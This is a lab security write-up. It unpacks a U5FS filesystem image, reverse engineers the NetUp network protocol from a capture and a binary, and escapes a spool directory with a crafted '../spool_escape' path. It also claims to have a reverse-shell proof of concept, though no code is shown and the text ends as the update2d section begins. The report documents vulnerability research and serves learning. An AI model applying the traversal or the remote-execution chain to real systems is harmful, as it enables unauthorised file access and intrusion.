FE Report
Source code: Download FE_COGNITIO.zip
Paths referenced in this report (e.g.
src/U5FS_Extractor/) refer to the structure inside the archive.
Summary
This report details how I unpacked the U5FS image and my work on the NetUp Protocol attack vector and Update service attack vector including my observations along the way.
By reading the U5 Filesystem Reference Manual carefully and building an extraction script I was able to get to the three main assignments. I chose to work mainly on the NetUp Protocol (that is my primary attack vector).
By analyzing the traffic in the pcap file and reverse engineering the netup server binary I was able to understand the protocol and create a client to talk to the server. The client is capable of performing all operations which the protocol supports (including reading) and can do so reliably. I was also able to escape the spool directory as well as trigger the update2d update command and confirm that this vector can be used to deliver an update to update2d.
To get RCE and work on persistence and exfiltration I have also worked on a secondary attack vector, the update service. The work there is rather simple compared to my work on the primary attack vector in my opinion but I was short on time when I started working on it.
I managed to make update2d run commands not originally intended and have included a proof of concept that uses my client to deliver a custom u2d file which spawns a reverse shell.
With these two attack vectors combined I believe I can confidently say that I have achieved exploitation and laid the foundation for exfiltration and persistence.
The U5FS Extraction Script
Intro
This section details the U5FS filesystem and my implementation of the extractor. You can find the source code at /src/U5FS_Extractor/.
U5FS Filesystem Structure
According to the reference manual, U5FS divides storage into a number of fixed-size blocks, numbered sequentially from 0. Three fundamental data structures are present in all images:
| Structure | Location | Description |
|---|---|---|
| Superblock | Block 0 (always) | Magic bytes, version, block size, block count, root node block number |
| Allocation bitmap | Block 1 onwards | One bit per block in the filesystem; 1 = in use, 0 = free |
| Root node | As specified by superblock | A directory inode representing the root (/) of the filesystem |
Beyond these, every block in the image belongs to one of the following categories:
| Block type | Description |
|---|---|
| Superblock | Fixed at block 0 |
| Bitmap | Starts at block 1; spans enough blocks to hold 1 bit per total block |
| Inode | Metadata for a single file, directory, symlink, or device node |
| Data block | Raw file data, referenced by a file inode |
| Free block | Unallocated; available for future use |
All multi-byte integers are big-endian.
The Superblock
The manual specifies that the superblock is always located at byte offset 0 in the image. It is a fixed 20-byte struct of five unsigned 32-bit big-endian integers:
| |
Implementation: parse_superblock(data)
| |
The function reads 5 × u32 big-endian from byte offset 0. It does this using the format string “>IIIII”. Look up python’s docs on Lib/struct.py if you want to know more.
It also validates the magic bits against U5FS_MAGIC = 0x55354653 and rejects anything other than version 1 or 2.
Finally, it returns only block_size and root_node which are the two values needed for extraction. block_count is intentionally discarded since we navigate by inode graph rather than scanning all blocks.
Raw block scanning vs. Pointer-driven extraction
After reading the reference manual. I came to a few conclusions. U5FS looks to be inspired by Linux/Unix. In the pdf I am given a great deal of info on how inodes are implemented in U5FS, it even explicitly states “it is possible to access any file in the filesystem by recursively iterating through directory entries, looking up new inodes, and iterating through the directory entries contained in those.”.
This lead me to choose pointer-driven extraction (as in walking the inode graph). This approach has many upsides, including being easier to implement and self-directing. However, should the filesystem be damaged or tampered with, more specifically, should an inode be corrupt, we miss out on all subsequent files. In other words, pointer-based extraction relies on the image we are extracting being of healthy state.
Raw block scanning extraction is another way of extracting images, which avoids the downsides of pointer-driven extraction. With raw block scanning we are able to find files “below” a broken inode (also called orphaned files). However, to accomplish this, we have to classify each block ourselves (is this block an inode? a data block? free space?). It is also slower as we need to look at every single block, even if most of them are free. And it goes without saying that it is harder to implement correctly. Raw block scanning should in my opinion only be used in forensics/recovery scenarios, where pointer-driven extraction has failed.
With this in mind, please continue reading.
Common Inode Header
Every inode type begins with the same 44-byte header (I have flattened the struct here):
| |
Doing the maths, we get a total of: 9 × 4 + 2 + 2 + 4 = 44 bytes.
Implementation: parse_inode_header(raw_bytes)
| |
The format string ">IIIIIIIIIHhI" maps exactly to the layout above (again look up python’s struct docs if you want to know what the format string means in detail). Since the extractor only needs size from the header (ownership, permissions and timestamps are not relevant for extraction to my windows pc), the function unpacks the full struct and returns only that member. All other members are discarded.
Directory Inode and Entry Format
A directory inode consists of the common 44-byte header followed by size bytes of packed directory entries. There is no explicit entry count, so the total byte length drives the parsing loop in my extraction script.
Directory entry format
| |
Each entry is 5 + len(name) + 1 bytes long, where the +1 accounts for the null terminator.
Implementation: parse_dir(raw_bytes)
| |
position = 44 skips the inode header directly, since we already have size from it. Then, raw_bytes.index(b'\x00', position) scans forward to find the null terminator.
Names are decoded as UTF-8 with errors="replace" to parse non-UTF-8 bytes without crashing. Although this shouldn’t happen as in version 1 and 2 of U5FS directory name strings are encoded as UTF-8 null-terminated. Lastly . and .. entries are filtered out in extract_dir() to prevent circular traversal.
File Inode and Block Indirection
A file inode begins with the common 44-byte header, followed by a list of 32-bit block numbers that back the file’s data. For a block size of 4096 bytes, the following applies:
| |
With this, we can generalize to any block size like this:
| |
All three levels of block resolution are handled by the iter_blocks() function (technically it’s a generator) inside read_file(), which returns data block numbers in order. This avoids duplicating the same iteration logic three times. My reasoning for choosing a generator over a normal function is that a generator produces values lazily, this means the collection loop can stop as soon as file_size bytes have been read. By doing this we avoid reading any slack space blocks.
Unallocated Blocks
As mentioned in the pdf, a block number of 0 indicates an unallocated region. Since block 0 is always the superblock, it can never be a valid data block. The extractor handles this in the loop like this:
| |
Indirect1 Block
When the direct block list is parsed, ind1_index points to a block containing another flat list of data block numbers (block_size / 4 entries):
| |
This makes the maximum addressable data 1009 + 1024 = 2033 blocks, or roughly 8.3 MB with 4096-byte blocks. Note that I use // to round down to the nearest integer.
Indirect2 Block
As mentioned in the pdf, for even larger files, ind2_index points to a block containing a list of indirect1 block numbers, with a 4-byte reserved field at the start:
| |
With the use of indirect2 the maximum file size then becomes:
Direct blocks: 1009 × 4096 = ~4 MB
Indirect1 adds: 1024 × 4096 = ~4 MB
Indirect2 adds: 1023 indirect1 blocks, each with 1024 data blocks.
So the total becomes: 1,047,552 × 4096 = ~4 GB.
Handling slack space
The loop in read_file() breaks as soon as file_size bytes has been collected:
| |
This handles slack space in the final block, where only the first file_size % block_size bytes are meaningful for extraction.
File Type Constants
I’ve chosen to only handle the 3 dtype values below:
| |
All other types (cdev 3, bdev 4, pipe 6 and sock 7) are skipped as they contain no extractable file data and don’t help us traverse the filesystem.
Symlink Inode
A symlink inode consists of the common header followed by a u16 length field and the link target as a non-null-terminated UTF-8 byte string:
| |
Implementation inside extract_dir()
| |
The symlink target is written to a plain text file with a .symlink suffix rather than creating an OS-level symbolic link. Again, I am a windows enjoyer and extracting to windows.
Extraction Overview
The extraction starts in main() and proceeds depth-first through the filesystem tree via extract_dir().
| Step | Action |
|---|---|
| 1 | Open the image file and read all bytes into memory. I’ve chosen to do this because the image is 500 MB. |
| 2 | Call parse_superblock() which validates magic bytes and version, returns blocksize and rootnode. |
| 3 | Create the output directory and call extract_dir(data, root_node, block_size, output_dir). |
| 4 | For each directory entry: skip . and ... Handle based on dtype. |
| 5 | In case of DTYPE_DIR: create subdirectory and recurse. |
| 6 | In case of DTYPE_FILE: call read_file(), write bytes to disk and print filename and size in console. |
| 7 | In case of DTYPE_LNK: read symlink target and write to .symlink text file and print target path in console. |
| 8 | All other types are skipped. |
Usage of the script
| |
To extract the image I did:
| |
Limitations and Design Choices
The entire image loaded into RAM, more specifically, the image is read in one
open().read()call. This is straightforward and in my opinion correct for images of this size, but would of course be unsuitable for very large images (especially with the RAM prices nowadays).U5FSv0 is not supported. Version 0 uses a different structure (16-bit block size and count limits, no UNIX permission or timestamp fields) and is explicitly marked as obsolete in the pdf, so I chose not to implement support for it.
Bitmap is not validated. The allocation bitmap is not read or checked. Navigation relies entirely on the superblock and the inode graph, which comes with the limitations I discussed earlier.
Symlinks are written as
.symlinktext files. Creating actual OS-level symbolic links would require platform-specific handling.Device nodes, pipes, and sockets are skipped. These inode types represent kernel objects with no extractable file data.
The NetUp Protocol attack vector
Intro
This section describes my work on the NetUp Protocol attack vector. This includes reverse engineering of the NetUp protocol and binary and the development of a working NetUp client. You can find the client and readme, with design choices, in /src/netupsrv/netup.
The dog.jpg picture
The first thing I did was look at the image dog.jpg which according to the readme is “A file extracted from the spool directory of a real deployed DDING-3000.”.
I ran it through the open source tool known as “Aperisolve”, which describes itself as: “Aperi’Solve is an online platform which performs layer analysis on images. The platform also uses zsteg, steghide, outguess, exiftool, binwalk, foremost and strings for deeper steganography analysis.”.
However the analysis came up largely emptyhanded. No hidden files or secrets embedded in the image. All I got was some metadata about the image:
Format: JPEG Width: 500 pixels Height: 500 pixels Horizontal resolution: 72 dpi Vertical resolution: 72 dpi Bit depth: 24 Size: 18,9 KB (19451 bytes)
With this seemingly dead end, I continued my analysis.
The pcap file
I started looking at the pcap file with Wireshark. Wireshark is a free and open-source packet analyzer. By following the first packet’s TCP stream we get a nice view of the entire conversation between server and client. Heuristically the conversation looked like a handshake followed by a lot of repeated similar looking communication, ending with a few packets that are shorter than the rest.
The handshake
Focusing on the handshake at the beginning. We can see the following (numbers are to be interpreted as hexadecimal):
Client sends: 0a 70 01 b6 00 96 14 66 15 06
Server sends: 0a 50 01 b6 00 96 14 66 15 06
These packets are identical with the exception of the 2nd byte. The first byte 0a translates to 10 in decimal, and seems to indicate the amount of bytes in the package. The second byte in the two packets are different, however, when converted to ASCII 70 becomes p and 50 becomes P.
Further inspection
To confirm my theory about the first byte being a length indicator, I looked at another packet from the client (here it has been truncated):
df 77 c3 6c 2f 27 00 00 00 00 00 00 00 08 00 00… We can translate df to 223 and if we count the bytes including df we arrive at 223 bytes for this packet. Also note that 77 translates to w.
Then I looked at the next packet from the server:
0e 57 00 d0 00 c9 00 00 00 00 00 00 00 c8. Here 57 translates to W.
So now we know that the first byte of a packet indicates size and the next byte indicates some kind of relationship (if its the server’s packet or the client’s packet). However, looking at the conversation as a whole, there seems to be more than just the w : W pair. From a quick glance through the conversation, I found the following pairs (listed as ASCII char and hexadecimal number):
| Client | Server |
|---|---|
p / 70 | P / 50 |
a / 61 | A / 41 |
w / 77 | W / 57 |
c / 63 | C / 43 |
o / 6f | O / 4f |
e / 65 | E / 45 |
u / 75 | U / 55 |
To me it seems like these pairs indicate some kind of operation to be performed, as well as who sent the packet. From now on I will be referring to these as “opcodes”. But what do they mean? I turned to the NetUp binary for more clues.
The NetUp binary
Opening the NetUp binary with “Detect It Easy”, an open-source tool for file type identification, shows us the following:
| |
Now I knew the cpu platform and language the server binary is written in. The Go compiler embeds a lot of metadata into the binary, including type and field names for use at runtime. This means disassemblers can recover stuff like, field names, type names, function names and more.
Next I imported the binary into IDA. IDA is a popular disassembler and debugger created by “hex-rays”.
After looking around for a bit, I found the following functions:
| |
Along with each request and response function was a marshal and unmarshal function (list below is not exhaustive):
| |
There was also an ID for each response and request function (list below is not exhaustive):
| |
The ID functions
Each ID function returns a single byte constant which is the opcode for that message type. Note that the binary refers to these as an “operation” but I will keep calling them opcodes. This is how I confirmed the meaning of each opcode in the list from earlier. Additionally there were also 2 opcodes and operations not seen in the pcap file. With this information I made the following updated list:
| Client | Server | Operation |
|---|---|---|
p / 70 | P / 50 | Ping |
a / 61 | A / 41 | Allocate |
w / 77 | W / 57 | Write |
c / 63 | C / 43 | Close |
o / 6f | O / 4f | Open |
e / 65 | E / 45 | Execute |
u / 75 | U / 55 | Unlink |
r/ 72 | R/ 52 | Read |
| none | !/21 | Error |
The marshal functions
Marshal and unmarshal is used at the application layer of the OSI model, before going out of the layer and after going into the layer. In other words they are used to translate bytes to application-readable data and vice versa. I started looking at these functions to gather information about the structure of bytes in the different response and request packets. Look at the pseudocode produced by IDA for AllocateRequest_Marshal:
| |
The marshal function creates values which is an ordered list with a size of 2 where each entry is an RTYPE. At the end it passes values to netup_protocol_Encode in the form of v11. The encode function then inserts each field into the output buffer, v12, in order.
Notice the use of r-types: values[0] = &RTYPE_string; and values[1] = &RTYPE_uint32;. This tells us about the types of variables passed to the values list.
An RTYPE is a type descriptor that the Go compiler places in the binary at compile time. RTYPE contains metadata about the type which includes, among other things, a size. This is useful for calculating the wire sizes (sizes during transport) for the fixed-width types. I made this table below:
| RTYPE | Size field in IDA | Wire encoding (during transport) |
|---|---|---|
RTYPE_uint8 | size: 1 | 1 byte |
RTYPE_uint32 | size: 4 | 4 bytes big-endian |
RTYPE_uint64 | size: 8 | 8 bytes big-endian |
RTYPE_uintptr | size: 8 | 8 bytes big-endian |
RTYPE_string | size: 16 (in-memory) | 1 byte length + N bytes on the wire |
RTYPE__slice_uint8 | size: 24 (in-memory) | 1 byte length + N bytes on the wire |
However, as we can see, in case of string and []byte (this is the Go type that RTYPE__slice_uint8 corresponds to), the in-memory size is not the same as the wire size (size during transport). This is because although a string is given 16 bytes in memory, the actual data within the string may not take up the full 16 bytes. The same applies to []byte. In other words the actual size of data within these two types vary and are not fixed-width types as the others. This is why the wire (transport) size is N (as in it is variable). |
The reason for “1 byte length” is due to the netup_protocol_Encode function which appends 1 byte at the start of the data. The reason I know this, is due to the pcap file and the size byte as discussed earlier. An example of this, which I will bring up later on as well, is the first allocate packet. It shows 0c (1 byte) followed by 12 bytes: 75 70 6c 6f 61 64 65 64 2e 6a 70 67 which when converted to ASCII becomes “uploaded.jpg”. This confirms that the encode function appends a length/size byte at the beginning.
Now having looked at both the binary and the actual wire/transport stream (pcap file) I assumed that the format of the allocate payload for AllocateRequest_Marshal must be:
string: path + path-length-byte uint32: size
Looking at the payload of the first allocate packet from the pcap we see: 0c 75 70 6c 6f 61 64 65 64 2e 6a 70 67 00 00 4b fb. This matches the format above: 0c (length-byte) is 12 (the length of uploaded.jpg), followed by the 12 filename bytes. This makes up the path + length byte string. Then that is followed by size: 00 00 4b fb which is 19451 in decimal.
The unmarshal functions
The unmarshal functions works in reverse order of the marshal functions. See the pseudocode for AllocateResponse_Unmarshal below:
| |
Since Go embeds field names in the binary we can look at the decompiled netup_messages_AllocateResponse struct in the Local Types view in IDA and see that its field name is Filedescriptor:
| |
With this I assumed that the 8-byte value returned by the server after an Allocate request is a Filedescriptor. This is also supported by the pcap (that I will examine in detail further down in the report).
While looking at Local Types I found the following information on all the request and response types:
| Message | Fields in order | Wire encoding |
|---|---|---|
PingRequest | uint32 Sequence | 4 bytes |
PingResponse | uint32 Sequence | 4 bytes |
AllocateRequest | string Path, uint32 Size | 1+N bytes, 4 bytes |
AllocateResponse | uintptr Filedescriptor | 8 bytes |
WriteRequest | uintptr Filedescriptor, uint64 Offset, []byte Data | 8, 8, 1+N bytes |
WriteResponse | uint64 BytesWritten | 8 bytes |
CloseRequest | uintptr Filedescriptor | 8 bytes |
CloseResponse | (empty) | 0 bytes |
OpenRequest | string Path | 1+N bytes |
OpenResponse | uintptr Filedescriptor | 8 bytes |
ExecRequest | uintptr FileDescriptor, string Command | 8, 1+N bytes |
ExecResponse | int ExitCode, string Output | 8, 1+N bytes |
UnlinkRequest | string Path | 1+N bytes |
UnlinkResponse | (empty) | 0 bytes |
ReadRequest | uintptr Filedescriptor, uint64 Offset, uint8 Length | 8, 8, 1 bytes |
ReadResponse | []byte Data | 1+N bytes |
Error | string Message | 1+N bytes |
I also found the struct for a packet, the netup_protocol_Packet. It is as follows:
uint8 Length, uint8 Operation, uint32 Checksum, []byte Argument.
That means its wire encoding is: 1, 1, 4, N bytes.
Lastly, another interesting piece of information was the hash_adler32_update function, indicating that the the Checksum of a netup_protocol_Packet is an adler-32 checksum. Below I will examine the pcap file in detail which is how I gained the other information needed to figure out the wire encodings from this section.
The pcap file continued
Bytes 3-6
After a having found out the meaning of the first two bytes in a packet and reversed parts of the NetUp binary, I continued to study the pcap file’s different packets and opcodes. This was to get a better understanding of the wire/transport part of the protocol. I looked at the 3 packets sent by the client below:
First ping packet: 0a 70 01 b6 00 96 14 66 15 06
First allocate packet: 17 61 35 20 06 10 0c 75 70 6c 6f 61 64 65 64 2e 6a 70 67 00 00 4b fb
First write packet (truncated): df 77 63 6c 34 54 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 c8 ff d8 ff e0 00 10 4a 46 49…
Isolating bytes 3-6 we get:
Ping packet: 01 b6 00 96
Allocate packet: 35 20 06 10
Write packet: 63 6c 34 54
Interestingly the allocate packet has the following ASCII after the 6 first bytes: uploaded.jpg. After that ASCII string the packet ends with: 00 00 4b fb.
This leaves us with 4 bytes at index 2-5 (inclusive) not being part of the “payload” sent by the client but (obviously) also not part of the size byte and opcode byte.
Knowing about how protocols are commonly structured, and using the information from when I decompiled the NetUp binary, I made the assumption that these 4 bytes probably represent an Adler-32 checksum. Looking at the conversation between client and server, we can see that these 4 bytes change in between every single packet sent by the client. It being 4 bytes also means it is 32-bit which further supports the Adler-32 theory, should the mention of Adler-32 in the binary not be enough for you. Lastly, it being placed early in the packet also indicated to me that this was the checksum.
I tested my theory on the allocate packet.
Payload: 0c 75 70 6c 6f 61 64 65 64 2e 6a 70 67 00 00 4b fb
Just to clarify, the payload consists of uploaded.jpg and the last 4 bytes, being the file size.
Assumed checksum: 35 20 06 10
I needed to find an algorithm that when fed “Payload” will produce “Assumed checksum”.
I then ran the payload through an Adler-32 checksum calculator and got: 35 20 06 10
The checksum checks out. To confirm I took the checksum of the first write packet and checked against the remaining bytes after the first 6 (size + opcode + 4-byte checksum)
Checksum of the write packet: 63 6c 34 54
This checked out as well. In the cyberchef link here you can see that the “output” section matches the checksum above. I also ran this same check on a few server response packets and it also seems to have a 4 byte checksum.
What we know so far
Based off of the analysis above, I assumed that the first two bytes of any packet is a size byte and an opcode byte. Then the next 4 bytes is an adler-32 checksum with the rest being the payload. From now on I will refer to the first 6 bytes of any packet as its header.
The AllocateRequest packet
The first allocate packet, which we know to be a AllocateRequest from the analysis of the NetUp binary, includes even more information that I used to make further guesses as to how the protocol works.
Full packet: 17 61 35 20 06 10 0c 75 70 6c 6f 61 64 65 64 2e 6a 70 67 00 00 4b fb
Removing the header leaves us with the following:
0c 75 70 6c 6f 61 64 65 64 2e 6a 70 67 00 00 4b fb
Breaking this down further I found:
0c = 12 (decimal)
75 70 6c 6f 61 64 65 64 2e 6a 70 67 = “uploaded.jpg”
00 00 4b fb = 19451 (decimal)
With these observations I made a few assumptions. 0c is a byte representing the length of the file name. “uploaded.jpg” is 12 characters. Thinking back to the dog.jpg image I was given, it’s size was 19451 bytes, so it is likely that the last 4 bytes resemble the size of the file to be uploaded indicating that the pcap traffic is traffic from when dog.jpg was uploaded. The size theory is also supported by the earlier analysis of the AllocateRequest struct which members include a string path and uint32 size. With this, the structure of the allocate packet comes out to:
1st byte: size 2nd byte: opcode 3rd to 6th bytes (inclusive): Adler-32 checksum of the remaining bytes. 7th byte: Size of the text string. 8th byte to the (7 + value of 7th byte)th byte inclusive: The path (string) Last 4 bytes: Size of file
If my assumptions are true, that means the maximum file size that can be declared in an AllocateRequest is FF FF FF FF = 4294967295 bytes. This is about 4 GB.
The maximum packet size would also be FF which is 255. That means a single packet cannot contain more than 255 bytes (including the header and data).
The AllocateResponse packet
Having figured out the structure of the client’s AllocateRequest packet, I now turned to the AllocateResponse packet from the server.
Server response: 0e 41 00 10 00 09 00 00 00 00 00 00 00 08
We already know the first six bytes are the header are as discussed earlier. So that leaves us with the following:
00 00 00 00 00 00 00 08 (8 in decimal)
From inspecting the AllocateResponse I saw that these 8 bytes are a file descriptor.
Writing from client using WriteRequest
Again, knowing about how protocols are structured comes in handy here. As I covered earlier, the maximum length of a packet is 255 bytes. This is not enough to hold the entire file that the client is trying to upload, so the server and client needs some way of keeping track of which file a given packet belongs to.
Looking at the first WriteRequest packet sent from the client we can see that it uses the w opcode, confirming that it is indeed a WriteRequest, and it starts as follows (packet has been truncated):
df 77 63 6c 34 54 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 c8 ff d8 ff e0…
Notice that after the header we are see the same 8 bytes as in the server response (the AllocateResponse from the previous packet). We know from both the WriteRequest struct and the AllocateResponse that these 8 bytes are a Filedescriptor.
With this, the structure of the WriteRequest packet is as follows: 6 byte header + 8 byte file descriptor. But that leaves us with:
00 00 00 00 00 00 00 00 c8 ff d8 ff e0.
Looking at the WriteRequest struct again, we see that the second field is Offset. After that comes a Data field of type []byte. Using this information I assumed that 00 00 00 00 00 00 00 00 is the offset, which makes sense since this is the first write request. That leaves us with a data field of (truncated): c8 ff d8 ff e0…
Looking at the data field we see c8 which translates to 200 in decimal. If we count the number of bytes after c8 in this packet, we find exactly 200 bytes. Lastly ff d8 ff e0 translates to JFIF in ASCII and are the magic bytes of a jpeg file. This is how I came to the conclusion that the []byte Data wire encoding is 1 + N bytes. 1 byte for the size of data and N bytes for the actual data.
So in conclusion, the first WriteRequest packet tells the server to write 200 bytes at offset 0 of the previously allocated file. This is also supported by the first data being the magic bytes for a jpeg.
Looking at the next WriteRequest packet from the client (truncated):
df 77 c3 6c 2f 27 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 c8 c8 02 03 04 05
We can see that the file descriptor is consistent, but the offset is different (it now says 200 in decimal):
00 00 00 00 00 00 00 c8
The following c8 is the count of bytes, at the start of the Data struct, meaning that again the client sends 200 bytes.
All in all this lines up with my assumptions. Based on the pcap and the binary, the 8 bytes after the file descriptor represents an offset. The first write call wrote 200 bytes, so now the offset is at base of file + 200. I confirmed this by looking at the 3rd WriteRequest packet, the offset should be c8 + c8 = 0x190. Below you can see the start of the third write packet (packet truncated).
3rd write packet: df 77 20 cb 39 f5 00 00 00 00 00 00 00 08 00 00 00 00 00 00 01 90 c8 52
Notice the offset: 00 00 00 00 00 00 01 90
We now know, based on the pcap file, how a WriteRequest is structured:
6 byte header + 8 byte file descriptor + 8 byte offset + 1 byte data size + remaining bytes are used for actual data. This checks out with the WriteRequest struct from the binary. Analyzing the WriteResponse packet and looking at the binary, we see that it is structured like so: 6 byte header + 8 byte “BytesWritten”. I’ve reversed the remaining operations with the same approach but to keep this report brief I have excluded many of the intermediary steps and checks as by now you should have a good idea of my approach.
The ending of the conversation
The CloseRequest and CloseResponse pair
After decoding the WriteRequest and WriteResponse packets, i looked at the end of the conversation between the client and server. After the last write, a CloseRequest and CloseResponse packet are sent:
Client (CloseRequest): 0e 63 00 10 00 09 00 00 00 00 00 00 00 08
Server (CloseResponse): 06 43 00 00 00 01
I applied the knowledge gained from the binary and pcap to decode the CloseRequest as follows:
Size: 14 (decimal)
Opcode: c
Adler-32 checksum: 00 10 00 09
File descriptor: 00 00 00 00 00 00 00 08
And CloseResponse:
Size: 6 (decimal)
Opcode: C
Adler-32 checksum: 00 00 00 01
Knowing that the protocol uses Adler-32 we can verify that the C response contains no data, since 00 00 00 01 is the Adler-32 checksum of zero bytes. Another way of verifying this is the CloseResponse struct from the binary.
The OpenRequest and OpenResponse pair
Next I looked at the OpenRequest and OpenResponse pair:
Client (OpenRequest): 13 6f 20 67 04 ca 0c 75 70 6c 6f 61 64 65 64 2e 6a 70 67
Server (OpenResponse): 0e 4f 00 10 00 09 00 00 00 00 00 00 00 08
OpenRequest becomes:
Size: 19 (decimal)
Opcode: o
Adler-32 checksum: 20 67 04 ca
Data-size: 12 (decimal)
Data: 75 70 6c 6f 61 64 65 64 2e 6a 70 67
Again the data decodes to uploaded.jpg
The server response, OpenResponse, becomes:
Size: 14 (decimal)
Opcode: O
Adler-32 checksum: 00 10 00 09
File descriptor: 00 00 00 00 00 00 00 08
The ExecRequest and ExecResponse pair
Here I found out that the ExecRequest packet (execute request) also has a single byte representing size of data after the file descriptor. Just like the WriteRequest packet. Looking at the ExecRequest struct it has a Command field of type string after the Filedescriptor.
Client (ExecRequest): 22 65 47 c7 07 3c 00 00 00 00 00 00 00 08 13 2f 75 73 72 2f 62 69 6e 2f 70 72 69 6e 74 2d 6a 70 65 67
Server (ExecResponse): 0f 45 00 09 00 01 00 00 00 00 00 00 00 00 00
ExecRequest becomes:
Size: 34 (decimal)
Opcode: e
Adler-32 checksum: 47 c7 07 3c
File descriptor: 00 00 00 00 00 00 00 08
Data-size: 19 (decimal)
Data: 2f 75 73 72 2f 62 69 6e 2f 70 72 69 6e 74 2d 6a 70 65 67
I decoded the data-bytes as ASCII and got the following string: /usr/bin/print-jpeg. This string is 19 bytes long and with that, I assumed that the single byte before the string indicated command size. This is how I found the wire encoding format of string being 1 + N bytes. 1 for the size byte and N for the actual string.
ExecResponse becomes:
Size: 15 (decimal)
Opcode: E
Adler-32 checksum: 00 09 00 01
Data: 00 00 00 00 00 00 00 00 00
Remember that ExecResponse from earlier specifies that these 9 data bytes above contains an int representing an exitcode (this takes up 8 bytes) and then an output string length, in this case 00. My programming experience (specifically working with OS apis like the windows native api) lead me to believe that an exit code of 00 00 00 00 00 00 00 00 (as in zero) generally indicates success. Lastly If the command had an output, the Output string would come next in the data.
During testing of my client I confirmed that ExitCode 0 means success. I also confirmed that both the ExitCode and Output present in the ExecResponse belongs to the command being executed, rather than the ExecResponse itself. If the ExecRequest sent by the client fails the server will return a Error with the opcode !/21.
After the execute packet pair comes a close pair, closing the following file descriptor 00 00 00 00 00 00 00 08
The UnlinkRequest and UnlinkResponse pair
An unlink pair shows as the last two packets in the conversation.
Client (UnlinkRequest): 13 75 20 67 04 ca 0c 75 70 6c 6f 61 64 65 64 2e 6a 70 67
Server (UnlinkResponse): 06 55 00 00 00 01
Here UnlinkRequest decodes to:
Size: 19 (decimal)
Opcode: u
Adler-32 checksum: 20 67 04 ca
Data-size: 12 (decimal)
Data: 75 70 6c 6f 61 64 65 64 2e 6a 70 67
The data portion of the packet becomes uploaded.jpg if decoded to ASCII. This lines up with the Path field of UnlinkRequest being of type string.
The UnlinkResponse decodes to:
Size: 6 (decimal)
Opcode: U
Adler-32 checksum: 00 00 00 01
In other words, the UnlinkResponse struct contains nothing, and only the packet header is sent.
The ReadRequest and ReadResponse commands
As established earlier, there are no ReadRequest or ReadResponse packets present in the pcap file. I found these during my reverse engineering of the NetUp binary.
A ReadRequest packet has the following structure:
Size
Opcode: r
Adler-32 checksum
File descriptor
Offset
Length
It is very similar to the WriteRequest in that it has a file descriptor indicating what file to read, an offset from which to read at, and a length of bytes to read. Since Length is of type uint8 that means the maximum number of bytes a single ReadRequest packet can read is 255 bytes.
A ReadResponse packet has this structure:
Size
Opcode: R
Adler-32 checksum
Data
Note that the ReadResponse just returns the data it has been asked to read, and it is up to the client to keep track of what file and how much has been read. Data is of type []byte meaning the wire encoding for that field is 1 + N bytes. 1 for the size and N for the actual data.
Client and server conversation as a whole
So to recap, looking at the conversation between server and client as a whole, the request and response flow seems to be: PingRequest, PingResponse followed by AllocateRequest, AllocateResponse. Then there are repeated pairs of WriteRequest, WriteResponse
Once writing is finished it is followed by this sequence: CloseRequest, CloseResponse followed by OpenRequest, OpenResponse followed by ExecRequest, ExecResponse followed by CloseRequest, CloseResponse and finally UnlinkRequest, UnlinkResponse.
Exploiting the NetUp daemon
After reversing the NetUp protocol i built a client to talk to the netup binary running on the DDING-3000 (see /src/netupsrv for the client, readme and exploit scripts). In the readme for the client i describe the reasoning for my choice of language and design of the client.
Lab setup
In the sections below there will be a few console logs from my lab environment. To help make sense of this I will briefly explain my lab environment setup.
My lab environment server is a VM running Ubuntu 24.04.4 LTS (Noble Numbat) x86_64 with a jeppe user. It’s IP address is 192.168.50.81 and the machine name is wireguard-vpn (I’ve used it for a vpn in the past but it has no impact on this assignment and setup).
I created a FE_COGNITIO folder and placed the netup binary inside. Upon first launch it created a spool directory inside FE_COGNITIO wherein files uploaded through the protocol are stored. The server also created allowed_commands.list which contains:
| |
I then placed the update2d-wrapper in the /usr/sbin directory of my lab machine, as well as the update2d binary that the wrapper calls in /usr/bin.
The (relevant) lab machine directories are as follows:
| |
IMPORTANT: I’ve changed update2d-wrapper to run update2d without the gid and uid arguments, as gid and uid 1001 doesn’t exist in my lab environment.
Exploiting: Reading, writing and deleting outside spool directory
After a lot of unsuccessful tries to write and read from different paths with the client I decided to look at the netup binary once more.
I found that the server handles AllocateRequest, OpenRequest and UnlinkRequest like this:
First it prepends the spool directory to the client’s input (path). Then it runs path.Clean on the combined string. The use of Go’s path.Clean function is important. It replaces path separators with slashes (/) and returns the shortest path name..
Next the server checks that this new combined and cleaned path is longer than the original spool directory path. Lastly, it checks that the combined path starts with the value of spool directory.
I then went to look for how the server actually builds the spool directory path. I found that it does this using path.Clean(cwd + "spool"). In my lab environment this would mean the spool directory is at: /home/jeppe/FE_COGNITIO/spool.
Knowing these two things we can deduce that any path supplied by the client that starts with cwd + spool will pass the check. In my lab environment that would be /home/jeppe/FE_COGNITIO/spool. Notice the lack of trailing slash, had the server used spool/ instead of spool to build the directory I would not have been able to escape the spool directory like so (escape_spool_write.py):
| |
The output is:
| |
The filename ../spool_escape is accepted because:
path_Join("/home/jeppe/FE_COGNITIO/spool", "../spool_escape")becomes/home/jeppe/FE_COGNITIO/spool/../spool_escapepath.Clean()is ran on the output and produces:/home/jeppe/FE_COGNITIO/spool_escape
The same can be done with ReadRequest and UnlinkRequest as well, see the source code for that if you’re interested. The downside is that we can only escape “one up” from spool (to .. from spool).
How the server handles ExecRequest
I wasn’t able to find any flaws in the handling of an ExecRequest. I looked at the execution flow of the netup binary and found that the server reads allowed_commands.list into a buffer and reads the contents line by line. For each line it calls runtime_memequalstring meaning its an exact string equality check between the submitted command and the commands in the commandlist. If there is a match the control flow continues to os_exec_Command and the command gets executed. If not the server returns “command not allowed” to the client.
Triggering the update2d update command
I read the readme for the Update service attack vector to get an understanding of the next step in the attack chain, then i made this script to prove that my client can read, write, close, ping, delete (unlink), allocate and execute as well as confirming that the update2d update command can be used to deliver an update to update2d.
update2d.py:
| |
The output is:
| |
The update2d attack vector
Intro
This section covers my work on the update2d attack vector. This is NOT my primary attack vector but it is how I obtained arbitrary command execution. Until now my work has mainly been focused exploitation but here I pivot to exfiltration and persistence. Since this report is getting rather long, I will try to keep this section short. I will say in general it was easier to reverse engineer the update service since source code is available.
Crafting a custom u2d file
